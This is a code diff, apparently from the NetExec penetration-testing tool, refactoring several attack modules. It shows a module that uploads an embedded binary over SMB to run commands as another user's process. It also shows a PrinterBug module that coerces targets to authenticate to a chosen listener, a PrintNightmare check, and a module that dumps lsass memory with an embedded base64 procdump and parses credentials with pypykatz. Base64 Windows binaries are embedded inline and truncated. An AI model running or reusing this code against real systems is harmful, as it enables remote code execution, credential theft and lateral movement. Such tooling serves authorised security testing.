EQAAAAAEiJQQhIjQVOvAIASIkBSIvBw8zMzMzMzMzMzMzMzMzMzEiD7EhIjUwkIOjC////SI0VU+MDAEiNTCQg6BWGAADMQFNIg+wgSIvZSIvCSI0N5boCAA9XwEiNUwhIiQtIjUgIDxEC6KeDAABIjQXouwIASIkDSIvDSIPEIFvDzMzMzEBTSIPsIEiNBeO7AgBIi9lIiQH2wgF0CroIAAAA6C5oAABIi8NIg8QgW8PMzMzMzEiJXCQQSIlMJAhXSIPsIEiL+kiL2TPS6JRAAACQM8BIiUMIiEMQSIlDGIhDIEiJQyhmiUMwSIlDOGaJQ0BIiUNIiENQSIlDWIhDYEiF/3QaSIvXSIvL6GVdAACQSIvDSItcJDhIg8QgX8NIjQ2PoAMA6PpCAADMzMzMzMzMzMzMSIlcJAhXSIPsIEiL2eiaXQAASItLWEiFyXQF6Lj0AAAz/0iJe1hIi0tISIXJdAXopPQAAEiJe0hIi0s4SIXJdAXokvQAAEiJezhIi0soSIXJdAXogPQAAEiJeyhIi0sYSIXJdAXobvQAAEiJexhIi0sISIXJdAXoXLine truncated
|
||||
|
||||
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
|
||||
self.pi_embedded = b64decode(pi_file.read())
|
||||
|
||||
if "EXEC" in module_options:
|
||||
self.cmd = module_options["EXEC"]
|
||||
|
||||
@@ -33,47 +35,46 @@ class NXCModule:
|
||||
self.pid = module_options["PID"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
if self.useembeded:
|
||||
file_to_upload = "/tmp/pi.exe"
|
||||
with open(file_to_upload, 'wb') as pm:
|
||||
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
|
||||
with open(file_to_upload, "wb") as pm:
|
||||
pm.write(self.pi_embedded)
|
||||
else:
|
||||
if path.isfile(self.imp_exe):
|
||||
if isfile(self.imp_exe):
|
||||
file_to_upload = self.imp_exe
|
||||
else:
|
||||
context.log.error(f"Cannot open {self.imp_exe}")
|
||||
exit(1)
|
||||
|
||||
|
||||
try:
|
||||
if self.cmd == "" or self.pid == "":
|
||||
self.uploadfile = False
|
||||
context.log.highlight(f"Firstly run tasklist.exe /v to find process id for each user")
|
||||
context.log.highlight(f"Usage: -o PID=pid EXEC='Command'")
|
||||
context.log.highlight("Firstly run tasklist.exe /v to find process id for each user")
|
||||
context.log.highlight("Usage: -o PID=pid EXEC='Command'")
|
||||
return
|
||||
else:
|
||||
self.uploadfile = True
|
||||
context.log.display(f"Uploading {self.pi}")
|
||||
with open(file_to_upload, 'rb') as pi:
|
||||
with open(file_to_upload, "rb") as pi:
|
||||
try:
|
||||
connection.conn.putFile(self.share, f"{self.tmp_share}{self.pi}", pi.read)
|
||||
context.log.success(f"pi.exe successfully uploaded")
|
||||
|
||||
context.log.success("pi.exe successfully uploaded")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
|
||||
return
|
||||
|
||||
|
||||
context.log.display(f"Executing {self.cmd}")
|
||||
command = f'{self.tmp_dir}pi.exe {self.pid} \"{self.cmd}\"'
|
||||
command = f'{self.tmp_dir}pi.exe {self.pid} "{self.cmd}"'
|
||||
for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
|
||||
context.log.highlight(line)
|
||||
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error running command: {e}")
|
||||
finally:
|
||||
try:
|
||||
if self.uploadfile == True:
|
||||
if self.uploadfile is True:
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.pi}")
|
||||
context.log.success(f"pi.exe successfully deleted")
|
||||
context.log.success("pi.exe successfully deleted")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting pi.exe on {self.share}: {e}")
|
||||
@@ -0,0 +1,117 @@
|
||||
from impacket.dcerpc.v5 import transport, rprn
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "printerbug"
|
||||
description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.listener = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""LISTENER Listener Address (defaults to 127.0.0.1)"""
|
||||
self.listener = "127.0.0.1"
|
||||
if "LISTENER" in module_options:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
trigger = TriggerAuth(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
dce = trigger.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
|
||||
if dce is not None:
|
||||
context.log.debug("Target is vulnerable to PrinterBug")
|
||||
trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target)
|
||||
context.log.highlight("VULNERABLE")
|
||||
dce.disconnect()
|
||||
else:
|
||||
context.log.debug("Target is not vulnerable to PrinterBug")
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
|
||||
|
||||
class TriggerAuth:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
|
||||
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target)
|
||||
rpctransport.set_dport(445)
|
||||
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
|
||||
rpctransport.setRemoteHost(target)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
try:
|
||||
dce.bind(rprn.MSRPC_UUID_RPRN)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
self.context.log.debug("Successfully bound!")
|
||||
return dce
|
||||
|
||||
def RpcRemoteFindFirstPrinterChange(self, dce, listener, target):
|
||||
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!")
|
||||
try:
|
||||
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
|
||||
except Exception as e:
|
||||
if str(e).find("Broken pipe") >= 0:
|
||||
# The connection timed-out. Let's try to bring it back next round
|
||||
self.context.log.error("Connection failed - skipping host!")
|
||||
return
|
||||
elif str(e).upper().find("ACCESS_DENIED"):
|
||||
# We're not admin, bye
|
||||
self.context.log.error("Access denied - RPC call was denied")
|
||||
dce.disconnect()
|
||||
return
|
||||
else:
|
||||
raise
|
||||
self.context.log.debug("Got handle")
|
||||
|
||||
try:
|
||||
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
|
||||
request["hPrinter"] = resp["pHandle"]
|
||||
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
||||
request["pszLocalMachine"] = "\\\\%s\x00" % listener
|
||||
except Exception as e:
|
||||
self.context.log.debug(e)
|
||||
|
||||
try:
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
self.context.log.debug(e)
|
||||
@@ -1,9 +1,6 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import sys
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.structure import Structure
|
||||
from impacket.dcerpc.v5 import transport, rprn
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
|
||||
@@ -35,9 +32,7 @@ class NXCModule:
|
||||
self.port = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PORT Port to check (defaults to 445)
|
||||
"""
|
||||
"""PORT Port to check (defaults to 445)"""
|
||||
self.port = 445
|
||||
if "PORT" in module_options:
|
||||
self.port = int(module_options["PORT"])
|
||||
@@ -46,7 +41,7 @@ class NXCModule:
|
||||
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
|
||||
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
|
||||
|
||||
context.log.info("Binding to %s" % (repr(stringbinding)))
|
||||
context.log.info(f"Binding to {stringbinding!r}")
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
|
||||
@@ -60,18 +55,19 @@ class NXCModule:
|
||||
)
|
||||
|
||||
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.port)
|
||||
|
||||
try:
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
# Connect to spoolss named pipe
|
||||
dce.connect()
|
||||
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
|
||||
dce.bind(rprn.MSRPC_UUID_RPRN)
|
||||
except Exception as e:
|
||||
context.log.fail("Failed to bind: %s" % e)
|
||||
context.log.fail(f"Failed to bind: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER
|
||||
@@ -119,13 +115,9 @@ class DCERPCSessionError(DCERPCException):
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return "RPRN SessionError: code: 0x%x - %s - %s" % (
|
||||
self.error_code,
|
||||
error_msg_short,
|
||||
error_msg_verbose,
|
||||
)
|
||||
return f"RPRN SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return "RPRN SessionError: unknown error code: 0x%x" % self.error_code
|
||||
return f"RPRN SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
@@ -191,26 +183,26 @@ class DRIVER_INFO_2_BLOB(Structure):
|
||||
def fromString(self, data, offset=0):
|
||||
Structure.fromString(self, data)
|
||||
|
||||
name = data[self["NameOffset"] + offset :].decode("utf-16-le")
|
||||
name = data[self["NameOffset"] + offset:].decode("utf-16-le")
|
||||
name_len = name.find("\0")
|
||||
self["Name"] = checkNullString(name[:name_len])
|
||||
|
||||
self["ConfigFile"] = data[self["ConfigFileOffset"] + offset : self["DataFileOffset"] + offset].decode("utf-16-le")
|
||||
self["DataFile"] = data[self["DataFileOffset"] + offset : self["DriverPathOffset"] + offset].decode("utf-16-le")
|
||||
self["DriverPath"] = data[self["DriverPathOffset"] + offset : self["EnvironmentOffset"] + offset].decode("utf-16-le")
|
||||
self["Environment"] = data[self["EnvironmentOffset"] + offset : self["NameOffset"] + offset].decode("utf-16-le")
|
||||
self["ConfigFile"] = data[self["ConfigFileOffset"] + offset: self["DataFileOffset"] + offset].decode("utf-16-le")
|
||||
self["DataFile"] = data[self["DataFileOffset"] + offset: self["DriverPathOffset"] + offset].decode("utf-16-le")
|
||||
self["DriverPath"] = data[self["DriverPathOffset"] + offset: self["EnvironmentOffset"] + offset].decode("utf-16-le")
|
||||
self["Environment"] = data[self["EnvironmentOffset"] + offset: self["NameOffset"] + offset].decode("utf-16-le")
|
||||
|
||||
|
||||
class DRIVER_INFO_2_ARRAY(Structure):
|
||||
def __init__(self, data=None, pcReturned=None):
|
||||
Structure.__init__(self, data=data)
|
||||
self["drivers"] = list()
|
||||
self["drivers"] = []
|
||||
remaining = data
|
||||
if data is not None:
|
||||
for _ in range(pcReturned):
|
||||
attr = DRIVER_INFO_2_BLOB(remaining)
|
||||
self["drivers"].append(attr)
|
||||
remaining = remaining[len(attr) :]
|
||||
remaining = remaining[len(attr):]
|
||||
|
||||
|
||||
class DRIVER_INFO_UNION(NDRUNION):
|
||||
|
||||
+18
-21
@@ -1,7 +1,4 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# prdocdump module for nxc python3
|
||||
# author: github.com/mpgn
|
||||
# thanks to pixis (@HackAndDo) for making it pretty l33t :)
|
||||
# v0.4
|
||||
|
||||
@@ -10,6 +7,8 @@ import re
|
||||
import sys
|
||||
import pypykatz
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.paths import TMP_PATH
|
||||
from os.path import abspath, join
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -20,13 +19,12 @@ class NXCModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
|
||||
PROCDUMP_PATH Path where procdump.exe is on your system (default: /tmp/), if changed embeded version will not be used
|
||||
PROCDUMP_EXE_NAME Name of the procdump executable (default: procdump.exe), if changed embeded version will not be used
|
||||
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = PROCDUMP_PATH)
|
||||
"""
|
||||
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
@@ -34,7 +32,7 @@ class NXCModule:
|
||||
"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACPLxx5y05yKstOcirLTnIq0Iq8KspOcirGHK0q0k5yKsYckipXTnIqxhyTKvNOcirCNuEq205yKstOcyp+TnIqNznLKsxOciq2N5cq105yKsYcqSrKTnIqy07lKspOciq2N6wqyk5yKlJpY2jLTnIqAAAAAAAAAABQRQAATAEFADBi/lgAAAAAAAAAAOAAAgELAQwAAI4CAABYBwAAAAAA53EBAAAQAAAAoAIAAABAAAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAAAQCgAABAAA1FIKAAMAQIEAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAIQwBADwAAAAAKAEAIA8BQAAAAAAAAAAAACyCQCgPgAAAOAJAMQoAABAowIAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAgBABAAAAAAAAAAAAAAAAAoAIA2AIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAApY0CAAAQAAAAjgIAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAACqhAQAAoAIAAKIBAACSAgAAAAAAAAAAAAAAAABAAABALmRhdGEAAAC8TQAAAFAEAAAWAAAANAQAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAgDwFAACgBAAAPgUAAEoEAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAMQoAAAA4AkAACoAAACICQAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGiAnUIA6BwwAQBZw8zMzMxocJ1CAOgMMAEAWcPMzMzMaGCdQgDo/C8BAFnDzMzMzOh7mwAAaKCdQgDo5y8BAFnDzMzMzMzMzMzMzMzMzMzMagBqAGoBagD/FbihQgCjaHVEAMPMzMzMzMzMzMzMzMxqAGoAagFqAP8VuKFCAKPAjEQAw8zMzMzMzMzMzMzMzFWL7PZFCAFWi/HHBtSwQgB0CVbotS8BAIPEBIvGXl3CBADMzMzMzMzMzMzMzMzMzFWL7ItFCItVDIkQiUgEXcIIAMzMzMzMzMzMzMzMzMzMVYvsiwGNVfiD7Aj/dQhS/1AMi1UMi0gEO0oEdQ6LADsCdQiwAYvlXcIIADLAi+VdwggAzMzMzMzMzMzMzMzMzFWL7ItFCDtIBHUNiwA7RQx1BrABXcIIADLAXcIIAMzMuGAAQwDDzMzMzMzMzMzMzFWL7FFW/3UMx0X8AAAAAOjIIgEAi3UIg8QEhcC6aABDAA9F0MdGFA8AAADHRhAAAAAAxgYAgDoAdRQzyVFSi87oCwMAAIvGXovlXcIIAIvKV415AYoBQYTAdfkrz19RUovO6OkCAACLxl6L5V3CCAC4eABDAMPMzMzMzMzMzMzMVYvsUYtFDMdF/AAAAABWi3UIg/gBdShqFcdGFA8AAACLzsdGEAAAAABohABDAMYGAOiaAgAAi8Zei+VdwggAUFboOv///4vGXovlXcIIAMy4nABDAMPMzMzMzMzMzMzMVYvsUVb/dQzHRfwAAAAA6BIiAQCLdQiDxASFwLpoAEMAD0XQx0YUDwAAAMdGEAAAAADGBgCAOgB1FDPJUVKLzugrAgAAi8Zei+VdwggAi8pXjXkBigFBhMB1+SvPX1FSi87oCQIAAIvGXovlXcIIAFWL7FaLdQxW6H8hAQCDxASFwItFCIkwdAzHQAQUY0QAXl3CCADHQAQQY0QAXl3CCADMzMzMzMzMzMzMzMzMzMxVi+yB7BQCAAChCFREADPFiUX4g30IAHUTg8j/i034M83oxyIBAIvlXcIEAP81yHREAI2F7P3//2ikAEMAUOidBAAAg8QMjYXs/f//UGoAagBqAP8VuKFCAItNCGr/UOi8nQAAg/gBdQdqAOgAkwAAi034M8AzzehxIgEAi+VdwgQAzMzMzMzMzMzMzMzMzMxVi+xTi10IVleL8YtNDIt7EDv5D4LpAAAAK/k5fRAPQn0QO/N1R40EDzlGEA+C2gAAAIN+FBCJRhByGYsWUWoAi87GBAIA6OUBAABfi8ZeW13CDACL1lFqAIvOxgQCAOjMAQAAX4vGXltdwgwAg//+D4egAAAAi0YUO8dzJP92EIvOV+hIAgAAi00Mhf90aoN7FBByAosbg34UEHIqixbrKIX/deqJfhCD+BByDosGX8YAAIvGXltdwgwAi8ZfXlvGAABdwgwAi9aF/3QOV40EC1BS6LhdAQCDxAyDfhQQiX4Qcg+LBsYEOACLxl9eW13CDACLxsYEOABfi8ZeW13CDABozABDAOgjIQEAaMwAQwDoGSEBAGi8AEMA6OEgAQDMzMzMzMzMzMzMzMzMzMzMVYvsU4tdCFaL8YXbdFeLThSD+RByBIsG6wKLxjvYckWD+RByBIsW6wKL1otGEAPCO8N2MYP5EHIW/3UMiwaLzivYU1boh/7//15bXcIIAP91DIvGi84r2FNW6HH+//9eW13CCABXi30Mg//+d36LRhQ7x3MZ/3YQi85X6CABAACF/3Rfg34UEHIqiwbrKIX/dfKJfhCD+BByDosGX8YAAIvGXltdwggAi8ZfXlvGAABdwggAi8aF/3QLV1NQ6J5cAQCDxAyDfhQQiX4Qcg+LBsYEOACLxl9eW13CCACLxsYEOABfi8ZeW13CCABovABDAOjbHwEAzMzMzMzMzMzMzFWL7FaL8YtNCFeLfhA7+XJ+i1UMi8crwTvCdyODfhQQiU4Qcg6LBl/GBAgAi8ZeXcIIAIvGX17GBAgAXcIIAIXSdESDfhQQcgSLBusCi8Yr+lONHAiLxyvBdA5QjQQTUFPo2h8BAIPEDIN+FBCJfhBbcg6LBsYEOACLxl9eXcIIAIvGxgQ4AF+Lxl5dwggAaMwAQwDoZh8BAMzMzMzMzMxVi+xq/2gAnEIAZKEAAAAAUIPsDFNWV6EIVEQAM8VQjUX0ZKMAAAAAiWXwi/GJdeiLRQiL+IPPD4P//nYEi/jrJ4teFLirqqqq9+eLy9Hp0eo7ynYTuP7///+NPBkrwTvYdgW//v///41PAcdF/AAAAAAzwIlF7IXJdEaD+f93EFHo5ykBAIPEBIlF7IXAdTHoax4BAItFCI1NC4lF7ECJZfBQxkX8AuikAAAAiUUIuPUWQADDi33si0UIi3XoiUXsi10Mhdt0SIN+FBByMYsO6y+LdeiDfhQQcgr/Nug7KQEAg8QEagDHRhQPAAAAx0YQAAAAAGoAxgYA6JxhAQCLzoXbdAtTUVDos1oBAIPEDIN+FBByCv826AApAQCDxASLRezGBgCJBol+FIleEIP/EHICi/DGBB4Ai030ZIkNAAAAAFlfXluL5V3CCADMzMxVi+yLRQgzyYXAdBSD+P93FVDoBikBAIvIg8QEhcl0BovBXcIEAOiFHQEAzMzMzMxVi+yNRRBQ/3UMaAQBAAD/dQjoCScBAIPEEF3DzMzMzFWL7IPk+IHsnAAAAKEIVEQAM8SJhCSYAAAAU1ZXaj6NRCQgi/FqAFCJdCQg6G8fAgCDxAzHRCQYQgAAAIl0JBxqAP8VsKFCAIlEJDqNRCQYUMdEJDBMAQAA/xVAoEIAhcB1FV9eW4uMJJgAAAAzzOh5HQEAi+Vdw2gCfwAAagD/FXCiQgBQ/xWUokIAizVMoEIAagj/dCQsiUQkGP/Wagr/dCQsiUQkFP/Walj/dCQsi/j/1mpa/3QkLIvY/9ZqLIvwx0QkeAAAAACNRCR8agBQ6MoeAgCDxAzHRCRgAAAAAA9XwPMPf0QkZGoB/3QkLP8VUKBCAItEJCiJRCR0iUQkeIvHmff+aGD6//9pwKAFAADHhCSUAAAAAAAAAMeEJJAAAAAAAAAAaGD6//+JhCSgAAAAi0QkFJn3+2nAoAUAAImEJJwAAACNhCSEAAAA8w9vhCSUAAAAUPMPf4QkiAAAAP8VbKJCAI1EJGDHhCScAAAAAAAAAFD/dCQsx4QkqAAAAP/////HRCRoFAAAAMdEJGx8YEMA/xVUoEIAi1wkFIs9YKJCAGoAagBqDlP/1/90JCiJRCQQ/xVIoEIAjUQkdFBqAWg5BAAAU//X/3QkKIvw/xVcoEIAO3QkDH0+kP90JCiJtCSgAAAAx4QkpAAAAP//////FUigQgCNRCR0UGoBaDkEAABT/9f/dCQoi/D/FVygQgA7dCQMfMNqAGoAaDkEAABT/9f/dCQo/xVYoEIA/3QkEP8VlKJCAIuMJKQAAAC4AQAAAF9eWzPM6JobAQCL5V3DzMzMzMzMzMzMVYvsg+wIM9JWizVgZUMAV78BAAAAhfZ0JYvO6wONSQCNQQGJRfiKAUGEwHX5K034QgP5iwyVYGVDAIXJdeJX6CwqAQAz/4PEBIl9/IvIiU34hfZ0RyvOi8aNFDLine truncated
|
||||
)
|
||||
self.procdump = "procdump.exe"
|
||||
self.procdump_path = "/tmp/"
|
||||
self.procdump_path = abspath(TMP_PATH)
|
||||
self.dir_result = self.procdump_path
|
||||
self.useembeded = True
|
||||
|
||||
@@ -53,25 +51,25 @@ class NXCModule:
|
||||
self.dir_result = module_options["DIR_RESULT"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.useembeded == True:
|
||||
if self.useembeded is True:
|
||||
with open(self.procdump_path + self.procdump, "wb") as procdump:
|
||||
procdump.write(self.procdump_embeded)
|
||||
|
||||
context.log.display("Copy {} to {}".format(self.procdump_path + self.procdump, self.tmp_dir))
|
||||
context.log.display(f"Copy {self.procdump_path + self.procdump} to {self.tmp_dir}")
|
||||
with open(self.procdump_path + self.procdump, "rb") as procdump:
|
||||
try:
|
||||
connection.conn.putFile(self.share, self.tmp_share + self.procdump, procdump.read)
|
||||
context.log.success("Created file {} on the \\\\{}{}".format(self.procdump, self.share, self.tmp_share))
|
||||
context.log.success(f"Created file {self.procdump} on the \\\\{self.share}{self.tmp_share}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing file to share {self.share}: {e}")
|
||||
|
||||
# get pid lsass
|
||||
command = 'tasklist /v /fo csv | findstr /i "lsass"'
|
||||
context.log.display("Getting lsass PID {}".format(command))
|
||||
context.log.display(f"Getting lsass PID {command}")
|
||||
p = connection.execute(command, True)
|
||||
pid = p.split(",")[1][1:-1]
|
||||
command = self.tmp_dir + self.procdump + " -accepteula -ma " + pid + " " + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
|
||||
context.log.display("Executing command {}".format(command))
|
||||
context.log.display(f"Executing command {command}")
|
||||
p = connection.execute(command, True)
|
||||
context.log.debug(p)
|
||||
dump = False
|
||||
@@ -91,30 +89,29 @@ class NXCModule:
|
||||
context.log.display("Error getting the lsass.dmp file name")
|
||||
sys.exit(1)
|
||||
|
||||
context.log.display("Copy {} to host".format(machine_name))
|
||||
context.log.display(f"Copy {machine_name} to host")
|
||||
|
||||
with open(self.dir_result + machine_name, "wb+") as dump_file:
|
||||
with open(abspath(join(self.dir_result, machine_name)), "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
|
||||
context.log.success("Dumpfile of lsass.exe was transferred to {}".format(self.dir_result + machine_name))
|
||||
context.log.success(f"Dumpfile of lsass.exe was transferred to {abspath(join(self.dir_result, machine_name))}")
|
||||
except Exception as e:
|
||||
context.log.fail("Error while get file: {}".format(e))
|
||||
context.log.fail(f"Error while get file: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
|
||||
context.log.success("Deleted procdump file on the {} share".format(self.share))
|
||||
context.log.success(f"Deleted procdump file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail("Error deleting procdump file on share {}: {}".format(self.share, e))
|
||||
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
|
||||
context.log.success("Deleted lsass.dmp file on the {} share".format(self.share))
|
||||
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail("Error deleting lsass.dmp file on share {}: {}".format(self.share, e))
|
||||
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
|
||||
with open(self.dir_result + machine_name, "rb") as dump:
|
||||
with open(abspath(join(self.dir_result, machine_name)), "rb") as dump:
|
||||
try:
|
||||
credentials = []
|
||||
credz_bh = []
|
||||
try:
|
||||
pypy_parse = pypykatz.parse_minidump_external(dump)
|
||||
|
||||
+94
-92
@@ -1,109 +1,111 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from dateutil.relativedelta import relativedelta as rd
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from math import fabs
|
||||
import re
|
||||
|
||||
|
||||
class NXCModule:
|
||||
'''
|
||||
Created by fplazar and wanetty
|
||||
Module by @gm_eduard and @ferranplaza
|
||||
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
|
||||
'''
|
||||
"""
|
||||
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
|
||||
|
||||
name = 'pso'
|
||||
description = "Query to get PSO from LDAP"
|
||||
supported_protocols = ['ldap']
|
||||
Module by @_sandw1ch
|
||||
"""
|
||||
name = "pso"
|
||||
description = "Module to get the Fine Grained Password Policy/PSOs"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
pso_fields = [
|
||||
"cn",
|
||||
"msDS-PasswordReversibleEncryptionEnabled",
|
||||
"msDS-PasswordSettingsPrecedence",
|
||||
"msDS-MinimumPasswordLength",
|
||||
"msDS-PasswordHistoryLength",
|
||||
"msDS-PasswordComplexityEnabled",
|
||||
"msDS-LockoutObservationWindow",
|
||||
"msDS-LockoutDuration",
|
||||
"msDS-LockoutThreshold",
|
||||
"msDS-MinimumPasswordAge",
|
||||
"msDS-MaximumPasswordAge",
|
||||
"msDS-PSOAppliesTo",
|
||||
]
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
No options available.
|
||||
'''
|
||||
pass
|
||||
|
||||
def convert_time_field(self, field, value):
|
||||
time_fields = {
|
||||
"msDS-LockoutObservationWindow": (60, "mins"),
|
||||
"msDS-MinimumPasswordAge": (86400, "days"),
|
||||
"msDS-MaximumPasswordAge": (86400, "days"),
|
||||
"msDS-LockoutDuration": (60, "mins")
|
||||
}
|
||||
"""No options available."""
|
||||
|
||||
if field in time_fields.keys():
|
||||
